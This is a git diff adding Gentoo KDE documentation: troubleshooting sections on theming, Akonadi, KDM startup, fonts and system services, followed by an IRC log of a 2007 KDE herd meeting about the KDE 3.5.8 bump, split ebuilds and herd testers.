+</body>
+</section>
+<section>
+<title>Make GTK applications look like Qt 4 ones</title>
+<body>
+
+<p>
+The ebuild that should be used if you want your GTK applications to use the same
+theme as your Qt applications is called <c>x11-themes/gtk-engines-qtcurve</c>.
+You must also install <c>x11-themes/qtcurve-qt4</c> for this to work with Qt 4/KDE 4
+applications. In order to get configuration options in System Settings->Appearance->GTK
+Styles and Fonts, you have to install <c>kde-misc/kcm_gtk</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Akonadi complains about the MySQL config</title>
+<body>
+
+<p>
+Start by checking the permissions in <path>/usr/share/config</path> and
+<path>/usr/share/kde4</path>. If they're 700, you need to update them to 755
+recursively.
+</p>
+
+<pre caption="Updating /usr/share/config permissions">
+# <i>chmod -R 755 /usr/share/{config,kde4}</i>
+</pre>
+
+<p>
+If that doesn't solve the error, you need to open the akonadi configuration and
+change the default mysql config. If you don't have the tray running, start
+<c>akonaditray</c>, select "Akonadi Server Configuration", activate  "Use
+internal MySQL server" and then press the test button.  If you want to use the
+mysql server and not the embedded executable, you'll need to ensure that mysql
+is running.
+</p>
+
+</body>
+</section>
+<section>
+<title>Make KDE start on boot</title>
+<body>
+
+<p>
+There are two ways to make KDE start on boot. The easiest way is by using the KDM,
+which is available at <c>kde-base/kdm</c>. First we edit the Xorg Configuration file,
+so that DISPLAYMANAGER is set to "kdm":
+</p>
+
+<pre caption="Editing /etc/conf.d/xdm">
+# What display manager do you use ?  [ xdm | gdm | kdm | kdm-4.3 | gpe | entran$
+# NOTE: If this is set in /etc/rc.conf, that setting will override this one.
+#
+# KDE-specific note:
+# - If you are using kdeprefix go with "kdm-4.Y", e.g. "kdm-4.3".
+#     You can find possible versions by looking at the directories in /usr/kde/.
+# - Else, if you are using KDE 3 enter "kdm-3.5"
+# - Else, if you are using KDE 4 enter "kdm" without a version
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Next step is to add xdm to default runlevel:
+</p>
+
+<pre caption="Adding xdm to the default runlevel">
+# <i>rc-update add xdm default</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Fonts suggestions</title>
+<body>
+
+<p>
+If you click to view the menu and notice that there is nothing legible, you need
+to install some fonts. Some common choices are <c>media-fonts/corefonts</c>,
+<c>media-fonts/ttf-bitstream-vera</c> and <c>media-fonts/dejavu</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>KDM fails to start</title>
+<body>
+
+<p>
+Start by checking the permissions in /usr/share/config. If they're 700, you need
+to update them to 755.  Check previous section.  If that doesn't solve the
+error, check the following notice in the kdm ebuild:
+</p>
+
+<pre caption="kdm notice">
+If when you restart xdm, kdm fails to start with a message like "gentoo kdm[2116]: X
+server startup timeout, terminating" in /var/log/messages, uncomment the ServerTimeout
+line in "grep kdmrc /var/db/pkg/kde-base/kdm-4.3.1/CONTENTS | cut -f2 -d " ""
+and be sure to increase the timeout - 60 should work
+</pre>
+
+<p>
+Also be sure that the following services are started:
+</p>
+
+<pre caption="checking and starting services">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/consolekit status</i>
+</pre>
+
+<p>
+If not, enable them by replacing <c>status</c> with <c>start</c>, and use the
+command <c>rc-update add dbus default</c> for every one of them to add them to
+default runlevel.
+</p>
+
+<p>
+Finally, KDM could fail due to errors in <path>/etc/X11/xorg.conf</path>. Take a
+look in your logs: <path>/var/log/Xorg.0.log</path> and
+<path>/var/log/kdm.log</path> and fix <path>xorg.conf</path> accordingly.  For
+additional help you can find us in IRC (#gentoo-kde at Freenode).
+</p>
+
+</body>
+</section>
+<section>
+<title>The battery applet or solid notifications don't show the relevant info</title>
+<body>
+
+<p>
+So that the battery applet or other solid notifications can show the relevant
+info, you need dbus and hald running.
+</p>
+
+<pre caption="checking and starting dbus and hald">
+# <i>/etc/init.d/dbus status</i>
+# <i>/etc/init.d/hald status</i>
+# <i>/etc/init.d/dbus start</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Desktop profile and subprofiles</title>
+<body>
+
+<p>
+Desktop profile has been split to KDE and GNOME subprofiles.
+This means that KDE and GNOME specific USE flags have been stripped
+from the basic desktop profile and have been migrated to the subprofiles.
+Choosing a subprofile doesn't restrict you to use only the equivalent
+DE.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20071013.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20071013.txt
new file mode 100644
index 00000000..720381eb
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20071013.txt
@@ -0,0 +1,338 @@
+[Sa Okt 13 2007] [20:00:44] Join	tgurr has joined this channel (n=tgurr@hbrn-590f7fff.pool.einsundeins.de).
+[Sa Okt 13 2007] [20:00:54] <Philantrop>	!herd kde
+[Sa Okt 13 2007] [20:00:57] <jeeves>	Philantrop: (kde) caleb, carlo, centic, cryos, deathwing00, genstef, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, troll, vanquirius
+[Sa Okt 13 2007] [20:01:00] <genstef>	here?
+[Sa Okt 13 2007] [20:01:03] <keytoaster>	yes
+[Sa Okt 13 2007] [20:01:19] <cryos|laptop>	Is it 18:00 hours already?
+[Sa Okt 13 2007] [20:01:22] <keytoaster>	yes
+[Sa Okt 13 2007] [20:01:24] <Philantrop>	cryos|laptop: Yes. :-)
+[Sa Okt 13 2007] [20:01:33] <Philantrop>	At least in UTC. :-)
+[Sa Okt 13 2007] [20:01:34] <keytoaster>	20:00 in germany :)
+[Sa Okt 13 2007] [20:01:40] <Philantrop>	20:01!
+[Sa Okt 13 2007] [20:01:44] <cryos|laptop>	I make it 14:01.
+[Sa Okt 13 2007] [20:01:58] <Philantrop>	cryos|laptop: You're *way* behind! ;-)
+[Sa Okt 13 2007] [20:02:03] <tgurr>	hi all :)
+[Sa Okt 13 2007] [20:03:12] <Philantrop>	Any  objections against waiting for two or three more minutes? Deathwing00 told me he would be here. :-)
+[Sa Okt 13 2007] [20:03:43] <genstef>	yes
+[Sa Okt 13 2007] [20:03:49] 	 * cryos|laptop murmurs about German efficiency :D
+[Sa Okt 13 2007] [20:03:52] <genstef>	just start
+[Sa Okt 13 2007] [20:05:17] <Philantrop>	Ok, let's go then.
+[Sa Okt 13 2007] [20:05:47] <Philantrop>	1. Update to the project page - are we happy with it now that it's been updated? Any additions, etc?
+[Sa Okt 13 2007] [20:06:55] <keytoaster>	i'm happy with it :)
+[Sa Okt 13 2007] [20:07:03] <Philantrop>	We, jmbsvicetto, keytoaster and myself have added what we thought was appropriate and it seems we all agree on it, atm. :-)
+[Sa Okt 13 2007] [20:07:29] <Philantrop>	So that task from the last meeting is done. :-)
+[Sa Okt 13 2007] [20:07:50] <Philantrop>	2. Review of the project page is done, too, aunless anyone objects now. :-)
+[Sa Okt 13 2007] [20:08:11] <cryos|laptop>	Nope.
+[Sa Okt 13 2007] [20:08:34] <Philantrop>	3. Process improvement - NeddySeagoon can't make it today, it seems. 
+[Sa Okt 13 2007] [20:08:48] <Philantrop>	It doesn't seem as if much can be done about it anymore anyway...
+[Sa Okt 13 2007] [20:09:02] <keytoaster>	yup
+[Sa Okt 13 2007] [20:09:19] <Philantrop>	4. Miscellaneous - bump to KDE 3.5.8
+[Sa Okt 13 2007] [20:09:53] <Philantrop>	As I'Ve mailed to all of you, I've set up a git repository to collaborate on it. So far, jmbsvicetto, Ingmar^, tgurr and myself worked on it.
+[Sa Okt 13 2007] [20:10:12] <Philantrop>	I've gotten exactly zero feedback to my mail about it. :-)
+[Sa Okt 13 2007] [20:10:33] <cryos|laptop>	Are you manually bumping it? Sorry - I have been mostly offline these last few weeks/months.
+[Sa Okt 13 2007] [20:10:49] <keytoaster>	i couldn't answer because i'm currently not at home and running windows :(
+[Sa Okt 13 2007] [20:11:13] <Philantrop>	cryos|laptop: we've bumped the monolithic ebuilds manually, yes. The splits were initially done by the script and are now being combed through manually.
+[Sa Okt 13 2007] [20:11:47] <cryos|laptop>	Philantrop: OK - sounds good. We always used to just mask and bump - why the git repo now if I may ask?
+[Sa Okt 13 2007] [20:12:20] <Philantrop>	cryos|laptop: The last bump was critisized by many as rushed and bad. I wanted to avoid that this time. :)
+[Sa Okt 13 2007] [20:12:26] <cryos|laptop>	Masking allowed us to get the arch teams on board and give them access to the tarballs before release via dev.gentoo.org and gentoo-core.
+[Sa Okt 13 2007] [20:12:44] <cryos|laptop>	Then we could just unmask after the official release.
+[Sa Okt 13 2007] [20:12:46] <Philantrop>	cryos|laptop: Furthermore, like this, interested users like Ingmar^ could help, too.
+[Sa Okt 13 2007] [20:13:01] <Philantrop>	cryos|laptop: And, of course, we'll put them into the tree and package.mask soon. :-)
+[Sa Okt 13 2007] [20:13:26] <genstef>	Philantrop: thanks for your mail, was very good :)
+[Sa Okt 13 2007] [20:13:34] <genstef>	Philantrop: is there a release date scheduled yet?
+[Sa Okt 13 2007] [20:13:41] <cryos|laptop>	Just seems to be making the process more hassle for arch teams to get involved with and interested users can send patches. I have been away so I am mainly asking.
+[Sa Okt 13 2007] [20:13:50] <Philantrop>	genstef: Yes, it's to be released on the 16th. :-)
+[Sa Okt 13 2007] [20:14:36] <Philantrop>	cryos|laptop: Well, yes, they could but why not combine both? We can still do the p.mask/tarball stuff (like tomorrow :-) ) *and* let others help directly.
+[Sa Okt 13 2007] [20:14:46] <cryos|laptop>	I always worry about the trend towards overlays and separate repos making it harder to see and track stuff.
+[Sa Okt 13 2007] [20:14:58] <cryos|laptop>	Just my opinion though - I know others like it.
+[Sa Okt 13 2007] [20:15:24] <Philantrop>	cryos|laptop: My main point is: People like Ingmar^ are very, very good dev "material" and training them on the job helps, IMHO.
+[Sa Okt 13 2007] [20:15:29] <genstef>	cryos|laptop: right, but this stuff isnot meant to be public by upstream
+[Sa Okt 13 2007] [20:15:31] <cryos|laptop>	I have very little right to criticise anything due to my recent inactivity anyway.
+[Sa Okt 13 2007] [20:16:01] <Philantrop>	cryos|laptop: No, that's wrong. You have *all* the right to critisize. I'd just like to *convince* you. :-)
+[Sa Okt 13 2007] [20:16:15] 	 * cryos|laptop will be quiet - I can see the reasoning.
+[Sa Okt 13 2007] [20:16:45] <genstef>	well, but cryos is right. Last time the mail went to gentoo-core and every dev was able to test iirc
+[Sa Okt 13 2007] [20:17:19] <Philantrop>	Anyway, I intend to put the stuff into the tree by tomorow (in p.mask) and inform -core. :-)
+[Sa Okt 13 2007] [20:17:25] <Philantrop>	Any objections?
+[Sa Okt 13 2007] [20:17:37] <genstef>	Philantrop: right, sounds cool! Enough time for the arch teams to test then :)
+[Sa Okt 13 2007] [20:17:54] <Philantrop>	genstef: Yes, I hope so. 
+[Sa Okt 13 2007] [20:18:10] <Philantrop>	I don't think, though, we'll make it to 2007.1 or do you think we can/should?
+[Sa Okt 13 2007] [20:18:25] <Philantrop>	Into stable, I mean.
+[Sa Okt 13 2007] [20:18:34] <cryos|laptop>	When is the snapshot date?
+[Sa Okt 13 2007] [20:18:37] 	 * genstef does not care about releases
+[Sa Okt 13 2007] [20:18:48] <genstef>	everyone runs emerge --sync anyways ..
+[Sa Okt 13 2007] [20:18:58] <Philantrop>	xxxxxxxxxxxx - Initial snapshot
+[Sa Okt 13 2007] [20:18:58] <Philantrop>	xxxxxxxxxxxx - Final snapshot
+[Sa Okt 13 2007] [20:18:58] <Philantrop>	xxxxxxxxxxxx - Release
+[Sa Okt 13 2007] [20:19:21] <genstef>	well, imo stable the earlier the better
+[Sa Okt 13 2007] [20:19:25] <Philantrop>	cryos|laptop: ^^^
+[Sa Okt 13 2007] [20:19:34] <cryos|laptop>	It would be silly to try and make those dates, but I totally agree with genstef.
+[Sa Okt 13 2007] [20:19:40] <cryos|laptop>	Stable the earlier the better.
+[Sa Okt 13 2007] [20:20:03] <genstef>	but 19th will not happen I think
+[Sa Okt 13 2007] [20:20:04] <Philantrop>	genstef: Yes, same here. I just wouldn't want to tell the release guys now we'll make it and possibly delay them if we don't. Opinions?
+[Sa Okt 13 2007] [20:20:11] <keytoaster>	sorry, we are having dinner now, i'll read the conversation when i'm back
+[Sa Okt 13 2007] [20:20:17] <genstef>	ok
+[Sa Okt 13 2007] [20:20:36] <genstef>	Philantrop: so we will not make it
+[Sa Okt 13 2007] [20:20:50] <cryos|laptop>	Philantrop: I wouldn't tell them we would make it - the 9th is too tight a schedule really.
+[Sa Okt 13 2007] [20:21:25] <cryos|laptop>	In some ways it is a shame - would be good to have 3.5.8 GRPed.
+[Sa Okt 13 2007] [20:21:33] <Philantrop>	Ok, let's say we can *try* but if we don't, the world will not stop spinning. I will *not* inform the release guys about us making it in time.
+[Sa Okt 13 2007] [20:21:53] <tgurr>	sounds good to me
+[Sa Okt 13 2007] [20:21:58] <jmbsvicetto>	I'm home
+[Sa Okt 13 2007] [20:22:02] <jmbsvicetto>	Sorry for the delay
+[Sa Okt 13 2007] [20:22:06] <Philantrop>	jmbsvicetto: Welcome back! :-)
+[Sa Okt 13 2007] [20:22:28] <Philantrop>	Ok, next point: "Changing to split ebuilds by default? That would mean going through all KDE ebuilds and changing the dependency order."
+[Sa Okt 13 2007] [20:22:47] 	 * genstef is against it.
+[Sa Okt 13 2007] [20:22:56] 	 * Philantrop is against it, too.
+[Sa Okt 13 2007] [20:23:05] <genstef>	But if you must for 4.0, you can
+[Sa Okt 13 2007] [20:23:27] <Philantrop>	I don't see the need but maybe there are other opinions?
+[Sa Okt 13 2007] [20:23:34] <cryos|laptop>	I would rather see us do it for 4.0 and leave 3.5 well enough alone.
+[Sa Okt 13 2007] [20:24:10] <jakub>	yeah, not for 3.x
+[Sa Okt 13 2007] [20:24:12] <cryos|laptop>	The apache herd screw around lots inside minor releases and it hasn't made them very popular...
+[Sa Okt 13 2007] [20:24:21] <Philantrop>	cryos|laptop: That sounds like a good idea. genstef, what do you think?
+[Sa Okt 13 2007] [20:24:31] <cryos|laptop>	May be not lots, but when they have it has been painful at times.
+[Sa Okt 13 2007] [20:24:33] <jakub>	and better kill monolithic stuff for 4.0 altogether
+[Sa Okt 13 2007] [20:24:42] <Philantrop>	jakub: That's one more point later. :-)
+[Sa Okt 13 2007] [20:24:43] <genstef>	jakub: sounds good
+[Sa Okt 13 2007] [20:25:04] <jakub>	Philantrop: well, just a suggestion... :)
+[Sa Okt 13 2007] [20:25:15] 	 * cryos|laptop adds a here, here.
+[Sa Okt 13 2007] [20:25:22] <jakub>	but yeah, messing with the (last?) 3.5.x release in this way will piss off users
+[Sa Okt 13 2007] [20:25:36] <Philantrop>	So, we keep the current dep order for now but change it to split as default for >=4.0?
+[Sa Okt 13 2007] [20:26:05] <genstef>	Philantrop: right, because split definitely has advantages, with many patches coming in
+[Sa Okt 13 2007] [20:26:19] <jmbsvicetto>	I would like to see us go to split by default
+[Sa Okt 13 2007] [20:26:21] <genstef>	Philantrop: and 4.0 I expect to get many bugreports+patches early :)
+[Sa Okt 13 2007] [20:26:23] <Philantrop>	genstef: Indeed. :-)
+[Sa Okt 13 2007] [20:26:34] <jakub>	Philantrop: as said, you really want to keep monolithic stuff for 4.0?
+[Sa Okt 13 2007] [20:26:41] <jakub>	sounds just like maintenance overhead to me
+[Sa Okt 13 2007] [20:26:49] <genstef>	jakub: hey, leave the lead to Philantrop!
+[Sa Okt 13 2007] [20:27:01] <Philantrop>	genstef: We already get them for the 4.0 overlays. Which leads us to the next point: KDE4 in the overlays. :-)
+[Sa Okt 13 2007] [20:27:07] <jakub>	genstef: hey, gimme a beer! :P
+[Sa Okt 13 2007] [20:27:17] <jmbsvicetto>	I can live with split for >= 4.0, though
+[Sa Okt 13 2007] [20:27:26] <Philantrop>	jmbsvicetto: Ok, that's decided then. :-)
+[Sa Okt 13 2007] [20:27:30] 	 * genstef paurs some beer into the wire to jakub's glass
+[Sa Okt 13 2007] [20:27:44] <jakub>	anyway, the point - users are horrible confused by the blockers b/w monolithic/split, they've never grokked it
+[Sa Okt 13 2007] [20:27:52] <jakub>	and really makes the eclasses/ebuilds a mess
+[Sa Okt 13 2007] [20:28:08] <Philantrop>	KDE4 in the overlay is doing well. People are reporting bugs, installing it and using it. We currently have both monolithic and split ebuilds.
+[Sa Okt 13 2007] [20:28:40] <genstef>	and you have a special project and channel for it :)
+[Sa Okt 13 2007] [20:28:42] <jmbsvicetto>	jakub: I got a block earlier because I tried to emerge kdesdk-3.5.8 and kdevelop-3.5
+[Sa Okt 13 2007] [20:28:46] <Philantrop>	Personally, I'd like to keep the monolithic ebuilds. We usually follow upstream and we give our users the freedom of choice. :-)
+[Sa Okt 13 2007] [20:28:54] <jakub>	Philantrop: if you could make zmedico into sticking ranged deps into EAPI-1 by the KDE4 release time, that'd be awesome :P
+[Sa Okt 13 2007] [20:28:58] <jmbsvicetto>	jakub: We should really have a way to prevent that
+[Sa Okt 13 2007] [20:29:23] <jmbsvicetto>	jakub: We need ranges and sets
+[Sa Okt 13 2007] [20:29:48] <jakub>	jmbsvicetto: well, for sets, you can workaround in a semi-reasonable way by the metabuilds...
+[Sa Okt 13 2007] [20:29:52] <jmbsvicetto>	jakub: That would allow us to drop the meta / meta use flags
+[Sa Okt 13 2007] [20:29:54] <jakub>	for ranged deps, the hacks are insane :/
+[Sa Okt 13 2007] [20:30:23] <Philantrop>	Let's assume for now that we won't get ranged deps/real sets in time for 4.0. :-)
+[Sa Okt 13 2007] [20:30:46] <jakub>	Philantrop: gah, torture Zac to do it! :>
+[Sa Okt 13 2007] [20:31:25] <jmbsvicetto>	hehe
+[Sa Okt 13 2007] [20:31:27] <Philantrop>	jakub: :-)) I can't. I only torture soon-to-be devs. Not grizzled veterans. ;-)
+[Sa Okt 13 2007] [20:31:34] <jmbsvicetto>	jakub: I thought your preferred method involved beer ;)
+[Sa Okt 13 2007] [20:31:51] <jmbsvicetto>	jakub: even kegs of beer
+[Sa Okt 13 2007] [20:32:01] <jakub>	jmbsvicetto: heh, if that fails, you need something more... effective :D
+[Sa Okt 13 2007] [20:32:31] <Philantrop>	Guys, KDE4 and monolithic ebuilds - to keep them or not to keep them. That's the question. What's your answer? Mine is: Keep them. :-)
+[Sa Okt 13 2007] [20:32:56] <Philantrop>	!herd kde
+[Sa Okt 13 2007] [20:33:00] <jeeves>	Philantrop: (kde) caleb, carlo, centic, cryos, deathwing00, genstef, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, troll, vanquirius
+[Sa Okt 13 2007] [20:33:11] 	 * genstef did not write those
+[Sa Okt 13 2007] [20:33:23] <genstef>	so I just go with philantrop on that matter :)
+[Sa Okt 13 2007] [20:33:38] <jmbsvicetto>	Philantrop: As long as we can start the work for split from the meta, we might as well keep them
+[Sa Okt 13 2007] [20:33:44] <tgurr>	but the splits should be default by then
+[Sa Okt 13 2007] [20:33:53] <Philantrop>	tgurr: Agreed.
+[Sa Okt 13 2007] [20:33:53] <jmbsvicetto>	tgurr++
+[Sa Okt 13 2007] [20:34:23] <jakub>	shrug; you're going to maintain the stuff :P
+[Sa Okt 13 2007] [20:34:36] <Philantrop>	Three times "yes" so far: Philantrop, genstef, tgurr (splits will be default). cryos|laptop?
+[Sa Okt 13 2007] [20:34:49] <genstef>	like: kdebase and kdebase-mon? ;) instead of kdebase-meta?
+[Sa Okt 13 2007] [20:35:23] <cryos|laptop>	I would get rid, but don't object that much to keeping.
+[Sa Okt 13 2007] [20:35:24] <jakub>	-mon? :)
+[Sa Okt 13 2007] [20:35:25] <jmbsvicetto>	kdebase is going to be split in two, right?
+[Sa Okt 13 2007] [20:35:31] <cryos|laptop>	So I vote no.
+[Sa Okt 13 2007] [20:35:37] <jmbsvicetto>	kdebase and kdebase-plasma(?)
+[Sa Okt 13 2007] [20:35:59] <Philantrop>	masterdriverz: Any thoughts? :)
+[Sa Okt 13 2007] [20:36:13] <Philantrop>	cryos|laptop: Thanks, noted. :-)
+[Sa Okt 13 2007] [20:37:05] <Philantrop>	Ok, so it's 3:1 for keeping the monolithic ebuilds for KDE4. 
+[Sa Okt 13 2007] [20:37:17] <Philantrop>	Anything else on KDE4?
+[Sa Okt 13 2007] [20:37:37] <Sho_>	jmbsvicetto: From our side we have runtime, workspace and apps in kdebase
+[Sa Okt 13 2007] [20:37:43] 	 * jakub still offers a keg for getting sets and ranged deps in b4 KDE4 :D
+[Sa Okt 13 2007] [20:37:51] <jmbsvicetto>	Sho_: sorry, that's it - kdebase and kdebase-workspace
+[Sa Okt 13 2007] [20:38:28] <jmbsvicetto>	Sho_: That's what Ingmar^ said, iirc
+[Sa Okt 13 2007] [20:38:47] <jakub>	jmbsvicetto: ^^ ding ding - motivation above! :)
+[Sa Okt 13 2007] [20:38:54] <Philantrop>	jmbsvicetto: Ingmar^ is a great fan of splitting. He might do even more. :-)
+[Sa Okt 13 2007] [20:38:57] <jmbsvicetto>	:)
+[Sa Okt 13 2007] [20:38:57] <jakub>	anyway, /me out for a couple of plops, have fun guys :)
+[Sa Okt 13 2007] [20:39:14] Quit	tibix_ has left this server (Read error: 110 (Connection timed out)).
+[Sa Okt 13 2007] [20:39:17] <Philantrop>	Ok, the point for KDE4 should be done then. :-)
+[Sa Okt 13 2007] [20:39:46] Join	tibix_ has joined this channel (n=tibix@host86.200-45-178.telecom.net.ar).
+[Sa Okt 13 2007] [20:39:48] <Philantrop>	Next point: I'm going to document the procedure of bumping to the minor KDE revisions. Any help is welcome. I'll present a draft soon.
+[Sa Okt 13 2007] [20:40:05] <jmbsvicetto>	jakub: If we need you, we'll send you a *SIGBEER* ;)
+[Sa Okt 13 2007] [20:40:58] <Philantrop>	Anything I should take special care of when documenting possible bump procedures?
+[Sa Okt 13 2007] [20:42:01] <Philantrop>	Ok, obviously not. :-)
+[Sa Okt 13 2007] [20:42:11] <jmbsvicetto>	Philantrop: Sorry, but since you're talking about documentation, most people are likely to need some kde4 crash course - in particular to cmake
+[Sa Okt 13 2007] [20:42:29] <jmbsvicetto>	s/most/some/
+[Sa Okt 13 2007] [20:42:31] <jakub>	jmbsvicetto: ok, sounds like a deal :)
+[Sa Okt 13 2007] [20:42:56] <Philantrop>	jmbsvicetto: :-) Well, yes, but there's not much we can do about it, I think. Self-education should be most effective unless you have a better suggestion. :)
+[Sa Okt 13 2007] [20:43:40] <Philantrop>	jmbsvicetto: Unless you want to install a "re-education camp". ;)
+[Sa Okt 13 2007] [20:43:46] <jmbsvicetto>	hehe
+[Sa Okt 13 2007] [20:44:13] <jakub>	hmmm, camp... steaks... _beer_
+[Sa Okt 13 2007] [20:44:19] <jakub>	Philantrop++
+[Sa Okt 13 2007] [20:44:21] <jmbsvicetto>	Well, I guess I'll need to reeducate myself, since I haven't seen kde4 in a while ;)
+[Sa Okt 13 2007] [20:44:31] <Philantrop>	jmbsvicetto: I'll add this to the summary, though. Maybe someone has an idea or helpful link. :-)
+[Sa Okt 13 2007] [20:44:52] <Philantrop>	jakub: I thought more along the lines of a prison camp. ;-)
+[Sa Okt 13 2007] [20:44:59] <genstef>	Philantrop: it would be cool to explain why it is best to have the non-working ebuilds in the git to allow external help and afterwards in gentoo-x86 to allow internal testing :)
+[Sa Okt 13 2007] [20:45:32] <jmbsvicetto>	genstef: It doesn't have to be git, just an overlay
+[Sa Okt 13 2007] [20:45:46] <genstef>	jmbsvicetto: right
+[Sa Okt 13 2007] [20:45:46] <jmbsvicetto>	genstef: But git is good a choice
+[Sa Okt 13 2007] [20:46:10] <genstef>	git would be cool for the portage tree imo. Just pull from external contributors :)
+[Sa Okt 13 2007] [20:46:16] <jakub>	well, * >> cvs :)
+[Sa Okt 13 2007] [20:46:36] <jmbsvicetto>	genstef: You know how the cvs/svn/git/* debate ended last time ;)
+[Sa Okt 13 2007] [20:46:48] <Philantrop>	genstef: We don't *have* to do it in a git repository for all times. This was just one approach. :-)
+[Sa Okt 13 2007] [20:47:07] <jakub>	jmbsvicetto: well yeah, it's not gonna get anywhere...
+[Sa Okt 13 2007] [20:47:11] <genstef>	jmbsvicetto: ok, better not discuss it then ;)
+[Sa Okt 13 2007] [20:47:20] <jakub>	jmbsvicetto: we'll be stuck w/ cvs until we switch infra first
+[Sa Okt 13 2007] [20:47:53] <jmbsvicetto>	jakub: I wouldn't say that. I think robbat2 is close to accept git
+[Sa Okt 13 2007] [20:48:06] <Philantrop>	!herd kde
+[Sa Okt 13 2007] [20:48:09] <jeeves>	Philantrop: (kde) caleb, carlo, centic, cryos, deathwing00, genstef, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, troll, vanquirius
+[Sa Okt 13 2007] [20:48:09] <genstef>	switch infra!
+[Sa Okt 13 2007] [20:48:10] <Philantrop>	Anything else we should discuss? :-)
+[Sa Okt 13 2007] [20:48:11] <jmbsvicetto>	jakub: He has worked on it to supress the shortcommings
+[Sa Okt 13 2007] [20:48:16] 	 * jakub really out now... oh btw, getting the new eclasses eclass-manpages friendly would be nice :)
+[Sa Okt 13 2007] [20:48:26] <Philantrop>	jakub: Yes, that's in the making. :-)
+[Sa Okt 13 2007] [20:48:48] <jakub>	Philantrop: if you want help, poke me ;)
+[Sa Okt 13 2007] [20:48:55] <jmbsvicetto>	Philantrop: What about the cmake eclass?
+[Sa Okt 13 2007] [20:49:00] <Philantrop>	jakub: Thanks, I surely will! :-)
+[Sa Okt 13 2007] [20:49:26] <Philantrop>	jmbsvicetto: We have one more showstopper in it: cmake-utils-src_test. We need to work on that before I re-submit it.
+[Sa Okt 13 2007] [20:49:26] <jmbsvicetto>	Philantrop: Has it been merged to Portage or is it still on the overlay?
+[Sa Okt 13 2007] [20:49:36] <Philantrop>	jmbsvicetto: It's still in the overlay only.
+[Sa Okt 13 2007] [20:49:37] <jmbsvicetto>	Philantrop: Oh and one final issue - ATs/HTs!
+[Sa Okt 13 2007] [20:49:43] <genstef>	waah, cmake.eclass is not yet in the tree?
+[Sa Okt 13 2007] [20:49:56] <genstef>	urrx, should be imo
+[Sa Okt 13 2007] [20:50:12] <Philantrop>	genstef: Unfortunately, no. People had lots of suggestions. We've done most of it but that one remains.
+[Sa Okt 13 2007] [20:50:28] <Philantrop>	genstef: I'm going to try to get it in next week, though.
+[Sa Okt 13 2007] [20:51:45] <shade>	jmbsvicetto: ping
+[Sa Okt 13 2007] [20:51:55] <Philantrop>	The problem is: cmake-utils' src_test is mostly a copy of the one in ebuild.sh but we currently need it to check whether it's an in-source or out-of-source build.
+[Sa Okt 13 2007] [20:52:05] <Philantrop>	Any help on this would be greatly appreciated.
+[Sa Okt 13 2007] [20:52:37] <Philantrop>	jmbsvicetto: "ATs/HTs". What's your suggestion about them?
+[Sa Okt 13 2007] [20:52:51] <jmbsvicetto>	Well, glep41 http://www.gentoo.org/proj/en/glep/glep-0041.html created ATs and HTs
+[Sa Okt 13 2007] [20:53:01] <shade>	jmbsvicetto: so, config ata is sompiled into the kernel, same as config ide
+[Sa Okt 13 2007] [20:53:03] <jmbsvicetto>	I think kde would benefit from having a HT team
+[Sa Okt 13 2007] [20:53:10] <Philantrop>	jmbsvicetto: Yes, but it has been rejected by the council in its current state. :)
+[Sa Okt 13 2007] [20:53:19] <jmbsvicetto>	shade: We're in the middle of a meeting. Give us a few minutes, ok? Thanks
+[Sa Okt 13 2007] [20:53:34] <jmbsvicetto>	Philantrop: Not rejected. It hasn't been implemented
+[Sa Okt 13 2007] [20:53:36] <shade>	jmbsvicetto: ok, np:)
+[Sa Okt 13 2007] [20:53:51] <jmbsvicetto>	Philantrop: And ATs get official recognition
+[Sa Okt 13 2007] [20:53:55] <Philantrop>	jmbsvicetto: I thought so, too. Look at the relevant meeting's log, though. :)
+[Sa Okt 13 2007] [20:54:21] <jmbsvicetto>	Philantrop: What hasn't been accepted is the @g.o email addresses. Everything else was accepted
+[Sa Okt 13 2007] [20:54:32] <jmbsvicetto>	Philantrop: So, can I be a kde ht?
+[Sa Okt 13 2007] [20:54:40] <cryos|laptop>	We use HTs in the sci herd quite successfully.
+[Sa Okt 13 2007] [20:54:42] <Philantrop>	jmbsvicetto: There's nothing to say against Herd Testers, though. :-)
+[Sa Okt 13 2007] [20:54:57] <jmbsvicetto>	Philantrop: Pretty, pretty please?
+[Sa Okt 13 2007] [20:55:04] <jmbsvicetto>	;)
+[Sa Okt 13 2007] [20:55:05] <Philantrop>	cryos|laptop: Oh? That's good to know. Never heard about them before. :)
+[Sa Okt 13 2007] [20:55:05] <cryos|laptop>	I got them boosted bugzilla powers and access the overlay.
+[Sa Okt 13 2007] [20:55:23] <cryos|laptop>	Philantrop: Quite a few went on to become devs later too.
+[Sa Okt 13 2007] [20:55:32] <Philantrop>	cryos|laptop: How's the procedure to make them HTs?
+[Sa Okt 13 2007] [20:55:55] <cryos|laptop>	I think I was supposed to make a web page about this stuff.
+[Sa Okt 13 2007] [20:56:01] <Philantrop>	cryos|laptop: :-))
+[Sa Okt 13 2007] [20:56:05] <jmbsvicetto>	Philantrop: Anyway, "personally" I won't gain anything I don't have yet, with the exception of showing up in the kde team page. But other people could get official recognition
+[Sa Okt 13 2007] [20:56:27] <Philantrop>	jmbsvicetto: Well, there's precedent, it seems and it makes sense...
+[Sa Okt 13 2007] [20:56:31] <cryos|laptop>	I just used to talk to someone who I have forgotten now who was in charge of the AT project about getting bugzie sorted.
+[Sa Okt 13 2007] [20:56:34] <genstef>	yeah, I like the idea
+[Sa Okt 13 2007] [20:56:41] <jmbsvicetto>	cryos|laptop: hparker ;)
+[Sa Okt 13 2007] [20:56:43] <Philantrop>	cryos|laptop: That would be hparker. 
+[Sa Okt 13 2007] [20:56:48] <cryos|laptop>	Yes jmbsvicetto!
+[Sa Okt 13 2007] [20:56:54] <genstef>	cryos|laptop: hparker
